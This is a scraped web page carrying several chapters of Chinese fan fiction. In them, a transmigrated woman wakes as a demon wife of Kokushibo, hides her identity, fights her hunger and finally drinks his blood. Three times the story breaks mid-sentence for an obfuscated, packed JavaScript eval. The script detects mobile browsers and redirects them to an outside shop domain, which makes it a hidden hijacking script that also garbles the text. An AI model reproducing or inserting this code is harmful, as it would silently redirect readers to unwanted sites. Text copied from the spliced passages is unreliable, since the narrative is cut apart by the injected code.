如此掉san的场景,你应该吓得不轻才是,可是奇怪,你好像早已接受这一情况,只是觉得他凑这么近自己都站不起来了,就伸手推开了他。 做完动作,你才呆呆地看着手,不明白自己刚刚干了什么。 黑死牟没有生气,他好像也花了段时间才想起该干些什么,为照顾你一般般的夜视能力,找来蜡烛点了灯。 烛光照亮了这间不大的和室,屋内的装潢直接让你沉默了。 这什么情况? 穿越并不是什么冷门的概念,但你的处境好像不止于此。 黑死牟给你解释起来。 听完他事无巨细的一系列描述,你在心里悄悄总结:这不就是吸血鬼? 害怕阳光、要食用血肉,简直是吸血鬼本鬼,唯一的区别是克星从大蒜变成了紫藤花,算是日本特色吧。 你偷偷在角落里蘸水画了一个十字,盯住它。很好,并没有什么奇怪的感觉,和《德古拉》还有其他吸血鬼小说、影视剧里的不一样。 哪天再试试银子吧,不过黑死牟没有说,看来这日本特色吸血鬼并没有对特定金属的恐惧。 你正想入非非,黑死牟停止了讲述。 “怎么了?”你下意识反问。 “没什么,”他别扭地转过头去,语气干巴巴的,“有事的话找我。” 你想不出能有什么事。 或许是疑惑从你的眼神中流露了出来,他马上补充道:“我是说饿了的话。” 你跳了起来。 你变成了食人血肉的吸血鬼。 这是你穿越过来足足过去半天才反映过来的事。虽然还没有感到饿,你已经为“打猎”的事发起愁来。 以前看过的相关作品不算少,哥特小说里原教旨主义的吸血鬼容貌可怖,身上长满长毛爬在墙壁上*,现代浪漫化了的吸血鬼举止优雅、彬彬有礼,像个贵族。无论哪一种,他们的强大都是毋庸置疑的。 而你,你看看自己的胳膊腿,怀疑它们是不是真的有那种力量。 你尝试着想象自己飞檐走壁,熟练地划开猎物的脖颈,或者用美貌诱惑人类吸食他们的血液……你一阵恶寒,瞬间清醒过来。 “在做什么?”黑死牟问。 “啊!没什么。”你放下水杯,飞快地把地上的十字抹掉了,“想事情呢,银子会不会……” 你捂住嘴。怎么什么都往外说呀!还是先操心食物的事吧。 意识到穿越发生,你第一时间向身边的人,也就是黑死牟要了一面镜子。里面是无比熟悉的,跟了你二十多年的原装脸。 墨一样的乌发盖在淡蓝色的衣领上,瞳仁黑得深不见底,和记忆里的样貌没有任何区别。 你使劲掐脸上的肉,疼痛感证实它如假包换。什么吸血鬼的魅惑、美貌,全都不存在的,颜值这碗饭,穿越了你也吃不上。非要说有什么提升的话,就是你无痛得到了一身冷白皮,新刷过的墙面一样的冷白皮。 还是不死心,你转身想向他确认什么,却开不了口。黑死牟猜到了你心中所想,主动告诉了你和他的名字。 果然,一模一样。虽然发音不同,但汉字一定还是那两个。那么,不需要问,生日肯定也是同一天了。 这就是穿越的原因?平行时空的同位体?夺舍? 很有可能,如果是重新投胎,应该会有从小到大的完整记忆,而不是回过神来就要面对这样的境况。 你苦恼极了。 在完全没有准备的情况下,你已经暴露出了记忆丧失的漏洞,这个叫黑死牟的人不可能看不出来。会发生这样的事,原主一定是出了意外,他或许有心理准备,能自己说服自己,可时间长了,谁会不知道发生什么呢? “我……”目光从镜子里移开,你低头瞅着身上的和服,打算说点什么打破僵局,半天组织不好语言。 “黑死牟,我……”你再唤他,仍是哪哪儿都别扭。 他耐心地看着你,主动介绍起目前的状况。你关于日本特色吸血鬼的知识由此而来。 “还可以拟态?”你一下子兴奋起来,重新举起了镜子。 就知道穿越一场不会没有福利,现在你自己就是女娲娘娘!来玩捏脸游戏吧! 对着镜面,你想着自己长出了欧式大外双,鼻梁高一点、眼睛大一点、嘴小一点,太阳穴膨胀出去、下巴颏收回来……好累! 而且好难,3D捏脸的难度系数比P图美颜高了不知多少,动一点都差好多,这里变了那边也得跟上,好不容易觉得差不多了,换个角度看简直惊悚,你修修补补、改来改去,揉揉脸变了回去。 “我试试别的。”你宣布完,闭上眼睛感受着身体,慢慢调整,然后—— 黑死牟扶住了你:“想变什么,消耗这么大?” 你哭丧着脸:“我想长到一米七。” 你目测他有一米九多,一米七怎么也得到他下巴那里,可还没调到齐肩高,你就开始眩晕了。 真是没用! 黑死牟顿住。 “你是真的很想长高啊。”他笑道。 你抱住脑袋:“不要摸我头。” 摸头长不高啊,不过你应该不会长高了。理想身高两辈子都没达到,太难过了。你扼腕叹息。 像这样的知识,他一口气告诉了你好多。 他还说,你是他的妻子…… 一天过去,你从噩梦中惊醒,喘息着爬起来,流了一身冷汗。黑死牟就在旁边,连忙轻拍着背给予安慰。 “怎么了?”他问。 你捂住胸口不说话,没有告诉他你梦见了他手持匕首捅穿了你的胸膛,声嘶力竭地说“是我搞错了”。 这个梦境是如此真实,身体被剖开的感觉还在,那撕裂般的痛苦正在胸腔内缓慢地游走。你难受地拱起了背。 “我没事,没事的。” 怎么回事,他的手在你肋骨以下的位置游走,他的身体也靠过来,自然地贴住你的脊背…… 这不对劲,你想。你最怕自来熟了,尤其排斥还陌生时的肢体接触,每次升学新同桌挽住手都要起半身的鸡皮疙瘩,为什么这次才意识到这么近? 你想起早上他伸过来的手,宽大的手掌轻松把你的包裹起来,那时也没有感到奇怪。 是灵魂不适应身体才变得迟钝,还是说,这是原主的感情? 是你的话,这么大块头,隔着五十米就要开始绕路了吧? 你打了个寒噤,轻轻挣脱出他的怀抱。 虽然不是出自本意,但占了人家的身体已经很过意不去了,连人家的丈夫都要占用的话,那也太超过了。 你承受力非常、非常弱的,这绝对不行! 面对你的拒绝,黑死牟表现得很有风度,他平静地躺回枕上,没有任何动作。 你喘匀了气也躺回去,不动声色地拉开一点距离,两条被子之间出现了一道清晰的楚河汉界。 可你依然睡不着,你知道,黑死牟也没有睡着,他的六只眼睛看起来都闭着,但你无来由地感觉到他的意识没有一丝疲倦,他无比清醒地假寐着,视线穿透了眼睑也穿透你的身体,看到最深深处。 你打了个寒噤。 记得他说过,鬼几乎不需要睡眠,你大概是刚穿过来不久,在人类作息规律的驱使下,到点就躺在了床上。可他呢,他为什么配合?这也是一个破绽吧?原主肯定不是每天都睡觉的。 背对着他,你焦虑地绞起了手指。 怎么办,怎么办? 早上起了床,你一脸晦暗,黑死牟沉着冷静一如昨日,完全符合鬼不怎么需要睡的设定。 长期这么下去,你觉得自己的精神一定会出毛病,话说,鬼也会得心理疾病吗? 你战战兢兢地和他共处一室,如此过去好多天,终于鼓起勇气暗示:“你不觉得我变了,和从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096298|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前不一样了吗?” 看过再多的穿越小说,看写手给出巧妙的理由,让无数龙傲天、凤傲天们顶着新身体、新身份活得风生水起,你也不会觉得一个人半路换了芯子,他/她身边的亲密之人会看不出来。 何况这个人一看就很聪明、很能打。 你有点害怕地瑟缩着,心里却不后悔。一开始铺垫好,日后找到机会说开,说不定就能一别两宽,总比翻车了被报复强吧? 黑死牟注视着你,你心里开始打鼓。 “没有,”他说,“你没有变过。” 他说的是肺腑之言。百年来,他见过数不清的人在时间飞逝中面目全非,但那不包括你。你是如此的稳固又恒定,好像在出生前就是这个样子,之后也无需改变。 只要接触到你,他久远、早已死去的一部分自我就会从躯体里复苏,重新流淌起汩汩热血。 你感受到了他的真诚,内心更加混乱。 “可是……” 你的“可是”没有下文,他递过来一本书:“一直待在房间里,没有事情做,很无聊吧。” 你接过来翻开看,是一部小说集,应该是最近新出版的。 就……突然间有点感动是怎么回事?你是真的要无聊死了,可不敢提要求,这时有书看真的是救人于水火啊。 你学电视上看来的日本人礼节鞠躬致谢:“ありがとう。” 这流畅的口语,是原主的肌肉记忆吧。万幸,你没有语言障碍。 “……”黑死牟道,“不客气。” 他走后,你躺倒在榻榻米上,举着书翻起来。让你跪坐着,那是万万不能的。 “黑死牟”,你像咀嚼着什么,轻声念了好几遍,用舌头盘顺每一个音节,习惯它的发声,然后翻到下一页。 有了消遣,你的举止在不知不觉中随意了许多。注意力不会时时刻刻在另一个人身上,焦虑也随之缓解。 有时,你快要忘记还有黑死牟这个人。初看只觉得此人压迫感很足,可这么多天相处下来,他的存在感快要降到和家具、盆栽差不多。即使面对面坐着,他也不会散发出强烈的感觉,自顾自地在棋盘前排兵布阵,几乎不发出声音。 半天功夫,你习惯他就像习惯吃饭用筷子、喝水用杯子,如鱼在水中不觉有异。他表现得似乎也如此。 这简直可怕。 你又翻了一页纸。 次日,屋里多了一把椅子,西洋风格的高足坐具,和日式小屋完全不搭,但它就是出现在那里了。 你当然知道这是谁带来的。 啊,更可怕了。 你犹犹豫豫地坐上去,双腿得到解放顿感一阵轻松,于是你又飞快地习惯了,舒服地靠在椅背上。 书很快看完,黑死牟带回第二本、第三本、第四本…… 你通通笑纳了,夸赞他品位不错。书一看就是精心挑过的,有小说、诗集、散文还有历史、百科方面,内容有趣,品类也多样,非常适合你这种口味很杂还挑剔的读者。 黑死牟带回来的更多了,还有据说镇上时新的杂志、报纸,都花花绿绿的,一看就是女孩子会喜欢的那种。他怎么知道这些的,找别人问吗? 你汗颜,没法光明正大地继续吃白食行为了,主动拿起扫帚要帮忙打扫屋子,但黑死牟雇佣了附近人家作佣人来负责家务。 由俭入奢易,没几日你心安理得过上剥削阶级的美好生活,就像大学没课的时候,舒舒服服地做自己喜欢的事。 看书的间隙,你也会好奇他不在跟前的时候做什么。刚开始,你不敢轻举妄动,他一连送了几天书,你觉得应该礼尚往来了,趁着天黑拉开帘子。 窗外是传统的日式庭院,枯山水、松树、石灯笼,看不出时代特征。而且这些不是重点,重点是庭院中间的人。 他在练剑。 你的脸贴在玻璃上,屏住了呼吸。可这也没用,他马上发现了,迅速回身,收起了剑。 隔着窗,你讪讪地一笑,赶紧把帘子拉回来,平复呼吸。 你是一个标准的运动废,但有些东西不需要会才能看懂,动力学规则本身就具有美感,以肉身不断逼近它的极限,挥出完美的一击,即使没有任何知识储备也能感受到那种震撼。 仅仅一秒的轻瞥,如同闯入了电影镜头,标准的偷窥视角。你心跳加速,脸都涨红了。 黑死牟走进室内。 “想看的话就出来吧。”他想说你很久都不出来走走了,可一见到你,这句话就掐灭了,只剩下半句邀请。 你同手同脚走出去,后半夜什么也没看进去。直到东方微亮,他拉你进屋,才反映过来:今晚,你没有像人一样入睡。 30.第 30 章 那天过后,你觉得自己摸清了和黑死牟相处的边界。 就是一种比较特别的舍友关系嘛,两人同住在一个屋檐下,力所能及的范围内互帮互助,各自过着自己的生活…… 你停止自欺欺人。 醒过来那天,黑死牟一句“妻子”就像一记重锤敲下来,你的脑袋变成了钟,至今仍在嗡嗡嗡地回响。 你不会忘记原身和他的关系,他更加不可能忘记。问题就在那里,早晚要爆雷。 还能怎么暗示他呢?你烦恼地薅起头发,它真的好长啊,多久没剪了。 找来梳子,你试着梳通,长及小腿的一把头发,梳完累死了。梳个头都这么累,不敢想象洗起来有多麻烦,还没有吹风机。 梳顺了,你找到一条形似发带的东西绑上去,没有弹性的布条总是散开,总也绑不好。黑死牟路过,几次欲言又止,都没有说什么。 最后你把头发全拨到身前,折叠几次后捆扎好。 镜子里浮现出一张赌气的脸。你凑近一点,嘟起嘴再使劲皱眉,里面的脸做出相同的表情,你一下子松开,镜中人也释然。 怎么看,这都是货真价实的,你的脸。 不过,仔细看的话,年龄感不一样。这是一张每天六点早读也元气满满的高中生脸,只是少点血色,绝非穿越前那张被论文折磨得蜡黄憔悴的研究生脸。 可能变成吸血鬼确实有加成吧。 理好头发,你开窗望去,刚好是阴天,理所当然地提出了要出去走走找个理发店的要求。舍友嘛,外出打声招呼,这是礼貌。 说完,你惴惴不安地看着他,生怕被拒绝。 “明天吧。”他说,“现在出发,到了店家该关门了。” 难不成这里位置很偏?你不敢多问,点头表示知道了,但还是想出去走走。 出乎你的意料,黑死牟的家位于一座还算繁华的镇上。宅邸建在小镇边缘一处地势平坦的高地,宁静安谧又不远离烟火,出门不到一公里就能看到连绵的人家了。临街的长屋像是从浮世绘上描下来的,平整的道路两旁却已树立起造型简朴的路灯。 你好奇地左顾右盼,现在才品到了一点十九世纪的感觉。穿越到近代算不幸中的万幸,要是中世纪女人大门不出二门不迈的,那不得憋屈死。 黑死牟尽职尽责地带路,一句话不多说,路上却不乏有人和他打招呼,偶尔也有人询问你的情况,都被他三言两语应付过去。 他说自己一直住在这里,看来不是假话。 心情更沉重了啊,在这种小地方、熟人社会,穿帮的可能只会高不会低。怎么办? 你停下来,觉得脚有点酸。黑死牟也体贴地停在离你三步远的位置,你们一起看着阴沉沉的天空。 “我说,”良久之后,他开口,“你是不是饿了?” 你又一次跳起来。 “没有,没有,我没有!” 什么意思?他要捕食了吗,就在这里?你惊恐地看着来来往往的行人,幻视他们血喷溅出来的样子,内心的小人抱头尖叫。 “我没有,我就是走多了有点累,而且几天没睡,精神不好,才会觉得虚,没有饿,没有。” 黑死牟:“这不就是饿了?” 你觉得自己像个智障。 他一一分析给你听:“稍微调整相貌和身高就会头晕,睡眠状态变化,总是坐着不想动,做一点事、走几公里就会累,这都是因为没有进食,我算过,你醒来的那天就该饿了。” 我不是、我没有,别瞎说啊!你在内心呐喊,实际上一个字都不敢说出来。 “没有……”你弱弱地辩解,“真的没有,我们回去吧。” 你没有勇气再待在人群中了。 后背重新贴到榻榻米上,你用手死死地摁住肚子。有些感受如果没有别人提醒,自己是察觉不到的,比如饥饿。 你饿得前胸贴后背。 上辈子出身中产阶级小康家庭,饥饿只是新闻报道里才有的概念,你从无切身的体会。 原来没东西吃是这么折磨人的事,和青春期长身体食欲大增完全是两码事,你无力地瘫软在地上,身子轻得快要飘起来了。 怎么会这么饿? 回来的路上,黑死牟一再询问要不要吃点东西,那会儿你是怎么回答的? 对了,是“我想减肥”。天呐,两辈子都想不到这个词还会和自己有关系。 你打起滚来,好像这样就能把饥饿感从身体里甩出去。 好饿、好饿、好饿,忍受饥饿感竟如此艰难,人会变得心烦意乱、暴躁易怒,一股无名火在心头乱窜,却发泄不出来。 好饿!你从房间的这头滚到那头,推拉门唰地打开了。 黑死牟出现在门后,你来不及站起,头冲着墙,手脚并用爬到角落里瑟瑟发抖。 他点亮了灯,你侧过头胆战心惊地看一眼:还好还好,他没有像你猜的那样手里提一条血淋淋的腿或人头。 没高兴太久,下一秒他说:“真的不来吃点东西吗?” 你捂住眼睛:“不用。” 黑死牟没有勉强你,他一走,你搬过椅子堵住门,就躺在了它下面,开启和饥饿的斗争。 黑死牟说鬼只会被太阳晒死,也就是说你是可以不进食的,只是挨饿的滋味不好受而已。 你蜷缩起来抱住膝盖,难受就难受吧,忍过这一阵没准就适应了呢? 整日垂着帏幔的房间不辨白昼黑夜,你昏天黑地地躺着,分不清过去了多久。偶尔阳光透过窗帘,你才能判断出一天结束了。 不知过了几天,你觉得自己神志都不清醒了,满脑子都是米饭、面条、烤鸭、鸡翅、肯德基……真的不能再吃人类的食物了吗?明明,你对它们充满了渴望。 啪嗒、啪嗒、啪嗒…… 哪里来的水滴声?你摸摸下巴,可恶,竟然不争气地流口水了! 你从未如此地渴求进食,撕咬的冲动在每个细胞里叫嚣,驱使着身体去觅食。 你像困兽犹走在这间几叠大小的空间里,时而疯狂地想要吃东西,时而为自己旺盛的需求毛骨悚然。 正常人会在断食水这么多天后还有这种体力吗?你这才明白过来,自己是真的变成一个怪物了。 好,好恶心。 胃部整个抽搐起来,肌肉收紧,喉头痉挛着收缩,食管受到挤压,不断向上翻涌着,可里面什么也没有。你从穿越过来十几天,就没有咽下过任何东西。按黑死牟的说法第一天就已经饿了的话,原主大概也有段时间没进食了。 可还是好恶心,你趴在地上一阵一阵地干呕,口水以惊人的速度在舌下分泌、聚集,滴滴答答地淋了一地。你尝试吞咽,根本赶不上它流淌的速度,眼泪也跟着滴下来。 根本不敢回头,镜子就在身后。你不敢去看自己现在是个什么样子,奔溃地去擦拭,袖子都蹭脏了,捂住嘴,贪婪的口涎就从指缝里漏出来。 好饿,好想吃东西,感觉什么都能吞下去,什么都好,只要能吃…… 反应怎么会突然这么激烈,到极限了?真的能挺过去吗? 你哭了出来。为什么,这种事要发生在我身上?如果穿越是注定的,什么时代、什么国家无所谓,只要还是人,不必面对这种要突破人类底线的事,都好、都好…… 黑暗中,四肢的肌肉不听使唤地贲起,你摇摇晃晃地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102395|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起,口水流得更加欢畅。好饿,不管是什么,吃点吧…… 原主是怎么打猎的?她会潜伏在夜色里顺手把看中猎物拖走吗,她会如何隔开他们血管痛饮,怎么把肉一块块撕下来…… 停、停、停! 你一个激灵清醒过来,意识到自己的思维在食欲的推动下正飞速滑坡,内心的小人再一次疯狂尖叫起来。 不,不可以这样,怎么能对同类抱有这种幻想呢?你哭得更厉害了,因为你还是很饿。 要不,吃点别的?你颤抖着推开椅子,山上或许会有动物,逮只兔子、掏个鸟窝也能暂时充饥吧? 不行!另一只手迅速把椅子推回去挡住门。这种状态下贸然出去,真的不会直接扑咬人吗? 你急得原地团团转,本能和良知来回地交锋,身为人的原则和理智都摇摇欲坠。 这样下去,迟早会吃人的吧? 你的泪水哗啦啦地直流。 咚咚咚,有人在敲门。 黑死牟在那儿!你泪眼朦胧地抬起头来,不住地后退。 他在门外低声唤你的名字。 “我可以进来吗?” 不可以,不要进来,不要看到我。你后退、后退,背贴到了墙。 门拉开,椅子倒下去,暖黄的灯光从他身后倾泻进来,带来血的香味。 你竖起了瞳孔。 终于弄清楚这突如其来的失控是怎么回事了,在你毫无防备的时刻,这间屋子已充满了血香。 快要把你弄疯的漫长折磨,只是他从走廊到门前的功夫吗? 好香,真的好香,口水又要决堤,你用两只手捂住,双腿踢蹬着快速沿门口的对角线移动。 绝对不行,你还没做好准备。或许有一天,你飘荡而来的灵魂终究会和这具吸血鬼的躯体合一,成为真正意义上的食物链顶端,但那天绝不是现在! 你不敢出声斥责,害怕一张口就会不顾一切地撕咬、咀嚼,只好留着泪躲避那个不断靠近的人。 出去、出去,快出去啊…… 你瑟瑟发抖,四肢软地不像话,每前进一点都无比艰难,黑死牟轻而易举地跨步,你就溃不成军,退入最后的角落。 快出去啊……你瞪大眼睛,试图用眼神表达自己的意思,视线却不受控制地追逐他的手臂。 他再次划破了那里,血珠一点点冒出来。 滴答滴答滴答,湿滑的手心下移露出嘴角,口水溢出来,牙齿变尖探出嘴唇。 你在渴望他的血肉,恨不能撕开他痛饮饱餐。 为什么,会这样……你目眦欲裂,纺锤状的瞳孔拉长成一道细线。 他衣领微微敞开,伸出流血的手臂,把你抱上来。 “吃吧。”他说,手摁上你的后脑勺。 红色顺着肌肉起伏的线条蜿蜒到嘴角。 不要…… 你嘴唇翕动,饮下鲜血。绷紧的肌肉一点点平复,细长的肢体藤蔓一样柔软地攀附上来。 人肉、人血,原来是这样的美味…… 你双目失神,微微地眯起,迷醉地贴近流淌的源泉,顺着那芬芳的脉动一路向上,舌尖珍惜地来回舔舐,不放过一丝血迹。 不再挨饿,真好,进食是如此幸福、美好,奔涌的血流进入口腔,徜徉着坠入胃袋,温暖地填满那里,你得到前所未有的满足,放松地沉溺进去。 黑死牟深呼吸放松肩颈,头垂下来贴在你的耳侧,手托住你不断下滑的腰往上送。 你在饱食中渐渐找回一点神志,像溺水的人摸到了一根稻草。 现在是什么情况,我在做什么? 等等,为什么他,还有你,都这么熟练? 31.第 31 章 就知道,你就知道! 原主这和你一个模子里套出来的身材,绝对是标准的运动废,她怎么可能飞檐走壁去打猎?肯定是没出息地等老公养啊! 还有,原来吸血鬼不用杀人啊,喝几口血就行了。那你这些天的纠结算什么?忍饥挨饿是为了什么?白受罪吗? 这会不会也是个破绽啊,原主肯定不会像你这样“节食减肥”躲屋里不敢吃饭吧,这样一来,黑死牟肯定会发现你已经不是他妻子了吧?这都发现不了,除非是有鬼…… 慢着。突然,你浑身僵住。 秋逗麻袋,wait a minute……你这、我、你、这是—— 完了,完了,全完了,穿越一场,你的节操全丢完了,占了别人的身体,搂着别人的丈夫,还吸他的血…… 你两眼一黑,从他的膝盖上摔下来。 咚。好吧,没有,你头撞在黑死牟柔软的掌心上,没有发出半点声响,但心死得更彻底了。 “还饿吗?”他问。 你恼羞成怒,暴跳起来,把他推出房间,靠着门掩面无力地滑坐下来。 如果我有罪,请让法律处罚我,而不是穿成吸血鬼受这种罪。 你一连几天不敢出房门,摸着黑从柜子里翻出旧衣服裁成抹布,蹲地上擦。 期间,镇上来做工的女仆敲着门,你也没让她进来,撸起袖子自己埋头干。 你拿出十二分的认真把每一块榻榻米擦得干干净净,桌椅、镜台擦得能反光,盆栽、花瓶、摆件全都拿起来,里里外外擦拭一遍,发疯时弄乱的东西摆正,然后打盆水,搓洗全身上下,衣服脱下来全部扔掉,好像这样就能重新做人了。 还好,房间里有接自来水。 你麻木地揉搓着身体,嗅觉出奇地灵敏,一点点血腥气都让你受不了。你使劲地搓着下巴、脖子,还有两只手,一遍又一遍。不知过了多久,你惊恐地看到手指搓烂了,伤口闪一下就消失,皮肤光滑如初。 你差点摔倒,带翻水盆。 算了,算了,这是好处,不是吗?你苦涩地想。 处理好洗漱用品,去挑选更换的衣服。这里只有和服,你取出最简单的一套,回忆着黑死牟教的穿法,勉强把一层层衣物理顺了。真麻烦,以后有机会还是穿洋装吧。 以后?你在充满水汽的屋子里发呆,完全想不出“以后”是个什么样子。 时间一分一秒过去你瘫在地上装死,却突然想起什么,一跃而起冲到镜子旁。 激动之下,潮湿的手指不太听使唤,火柴几次都擦不亮,你的手胡乱在毛巾上蹭蹭,甩一甩重新抽出一根。 嗞的一团小火苗冒了出来,光亮直直地射入镜面,眼球漆黑的晶体照成半透明的宝石,墨一样的虹膜中央,是两边尖中间宽的纺锤状瞳孔。 啪。火柴落到地上,熄灭了。 太阳从这头落到了那头,清晨至傍晚变化的天光在窗纸上投下变幻不定的影子,你轻轻地把手指贴上去。直觉告诉自己只要再近一点,这里就会烧化。 夜幕降临,乌云聚拢过来,大雨倾盆而下。 你移步到走廊里眺望庭院。 这是一座传统格局的日式宅邸,共两层,玄关栋、坐敷栋、书斋栋、居间栋、书斋栋一字排开,推开格子门是连接中庭的外廊,内部用纸拉门隔断,靠着枯山水的一侧却装着整面的西洋玻璃。 你就靠在这里闲得发慌,注视积水暴涨,再低流到院外。 这样循环几次,你在某个时刻顿悟,入睡和三餐这些选项似乎在日程中划去很久很久了。饱食、饱睡后才会有的充沛精力在你不眠不休的数日间,从未有消减的时刻。 从前,赶deadline赶得天昏地暗,期末周背书背得头晕眼花的时候,你不止一次幻想过人类突然进化掉睡眠该有多好。现在幻想实现,你却再也不用考试赶论文了。 你说不出心里是什么滋味。 爸爸、妈妈…… 黑死牟有一阵子没出现了,不在一墙之隔的邻屋下棋,也不在窗外练习剑术,就好像突然原地蒸发。 你一间屋子一间屋子地游荡,寻找他的痕迹,一无所获。也是在这个过程中,你才发现原来屋里有电灯,但可能是因为太久没人用打不开了。 他的很多习惯和你不一样,可在一起的时候几乎感觉不到。 很矛盾,他事事都能为你考虑到,同时却能做到对身边人疑似记忆丧失、性情大变这种情况视若无睹。 你猜测,这可能是因为鬼和鬼之间的关系本来就不怎么紧密,毕竟是长生种,不会和短寿的人类一样非常重视各类情感的联结。或许原主和他就是相处的,平时各过各的,要吃饭就聚一会儿。 可你在疯狂打扫的那些天里,发现了太多两个人生活的痕迹,发饰、文具和棋子,紫色的羽织还有绣花的腰带,等等这些男人、女人的东西都放在一处。这分明是是一对朝夕相处的夫妻,按理说不会这样。 难道说,他发现了? 你一阵紧张,随即放松下来。发现了才是正常的吧?就是不知道他要怎么对付你了。 招呼一堆帮手杀进来?他那个体格用不着。画个法阵把你这个鸠占鹊巢的家伙从身体里赶走?都有吸血鬼这种超自然生物了,有魔法也不稀奇吧? 你摇晃脑袋,把乱七八糟的想法都赶走。 以常理度之,其实最有可能的其实是,他也不知道怎么办。 不知道原来的妻子去了哪里,不知道到底是出了什么事,不知道该怎么面对你…… 这一个多月来,他也很难受吧?但他选择了压下情绪,半点也没有为难你。 你的心情愈发沉重,决心不能再这样下去。问题总要解决,逃避是没有用的,被动等着对方来试探更是下下策,你要抢占先机,出其不意,拿下主动权。 很好,就这样,等他一来你就说出真相,之后要杀要剐随他便好了。 你下意识地摸了一下脖子。不过,他真来杀人,逃还是要逃的,你又不是故意占人家身体的。 那日的大雨接连下了几日,到今天仍淅淅沥沥地收不住。你来到这里,就没见过几次大太阳,不是阴天就是雨天,果然是吸血鬼会选择的家啊。 你百无聊赖,把黑死牟带来的书又看了一遍。 看到第二本的时候,他回来了。 吃饱喝足的确对你有不小的影响,鬼的能力越来越鲜明地凸显出来。他出现在小镇,隔得老远,你就听到了他的动静。 这些天没事可做,你把身高增加到了一米七,十厘米加腿上,看着像蜘蛛精,又像霸王龙,你就一点点调整,按比例拉长大腿、小腿和手臂,再优化骨盆和腰部的结构,捏一条修长的天鹅颈……直到黑死牟的脚步声传来。 你慌不择路,在屋里团团转,做好的心理建设全盘崩塌。 要不也长成一米九吧,不行、不够,要两米,比他高,再来点肌肉,肱二头肌、胸肌、斜方肌…… 你手忙脚乱,越乱越要出错,越出错场面越乱,新鲜出炉的肌肉全部走形,面对失控的躯体,你快要崩溃。 脚步声停在门前。 “可以进来吗?” 不要! 心底的呐喊无法直接传入人的耳朵,门拉开了。 你像只戳破的气球,从膨胀饱满到皱缩成一块薄片都用不了一秒,就绝望地现出一米六的真身,眼睁睁看着他微微矮下肩膀,低头步入门内,投下的阴影铺满大半的空地,高挑健硕的身材显得房间都小了。 “那位大人有事相召,我回来晚了。” “我不是你老婆,我也不知道怎么回事啊!” 你们同时开口。 沉寂。 屋里死一样地沉寂。 你大脑宕机,一片空白。 黑死牟骤然被打断了话,半张着嘴许久没动,看着有点懵,有点傻。然后,他笑了。 他,笑了。 虽然和上次一样转瞬即逝,但你看得清清楚楚,这是一个嘴角翘起、眼睛变弯的,真正的笑容。 轰!你仅剩的脑浆也跟着蒸干了。 能找块豆腐拍死我吗,找条地缝钻进去也行,我不挑的…… 眼看着你快要扭成一条蛆,他又笑一下:“在看什么故事,要讲给我听吗?” 你的尝试再次中道崩殂,你怀疑他是故意的。 疑点都这么多了还当没事人,不是蠢就是另有所图。 你微微合拢书页,偷瞄一眼身边的人,马上有了判断:他是不可能蠢的。 即使是在自己家里,黑死牟的仪态也无可挑剔,他用一种你看着都累的姿势跪坐在榻榻米上,不管是拈着棋子,还是垂手无事可做,都身形挺拔、不偏不倚。 这样的人应该律人、律己都很严,可他对你要么盘着腿,要么坐台阶上的行为接受良好,主动奉上椅子,对你的不同理所当然。 难道原主也…… 你摸摸身后的靠背。不,不对,这是把新椅子。如果原主也不喜欢席居的生活习惯,那家里应该一直有高足家具才对。 黑死牟心中所图究竟是什么呢? 你微微失神,忘了翻页,书从手中滑下来掉到地上,发出啪的一声。 你脸红了,赶紧弯腰去捡。黑死牟已经先你一步拾起来,长长的手臂轻松把东西递到你的膝上。 你不好意思地接过来,觉得这椅子也坐不下了,只好起身背对着他立在窗前掩饰自己的情绪。 你想起了有一天,是还没有感到饥饿的时候,也是你在椅子上读书,他端坐在旁边,你兴致所至一页一页地翻着书,激动地合上,站起来转身就看到了他。 “你是想要读出来吗,”当时他这样说道,“我听着呢。” 那种可怕的感觉又来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107022|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你细微的感受、兴趣爱好、生活中的小习惯,全都有来自他的回应,像一个齿轮带着另一个齿轮转。可是,不应该啊,你们是陌生人才对啊。 你悄悄地回头看一眼,黑死牟似有所感也抬起头来,眼神撞个正着,吓得你赶紧把头扭回去。 在那惊天动地的一喊后,你们的关系重新陷入僵局。不,这样说不准确,是你单方面的僵局,他不是没有给出解答。 他说:“你觉得我认不出你来吗?” 你向黑死牟提出了要去理发,这是早就有的计划,他欣然同意。 你们在雨停后一个阴天的早晨出发,前往城里的理发店。为了这一行程,你做了充足的准备,事先请黑死牟收集了不少广告传单和画报,研究市面上流行的发型。 你注意到画报上端写着明治二十九年,距离黑船事件已过去快要半个世纪,民众对西方事物的态度已经从警惕观望转变为狂热追捧,服饰方面尤其明显。 你简单总结了一下:各种融入西式风格的盘发最流行,典型代表是头顶一个大髻的“日本发”,年轻女学生中编辫子的也不在少数,完全学洋人断发的少之又少。 少,但不是没有。 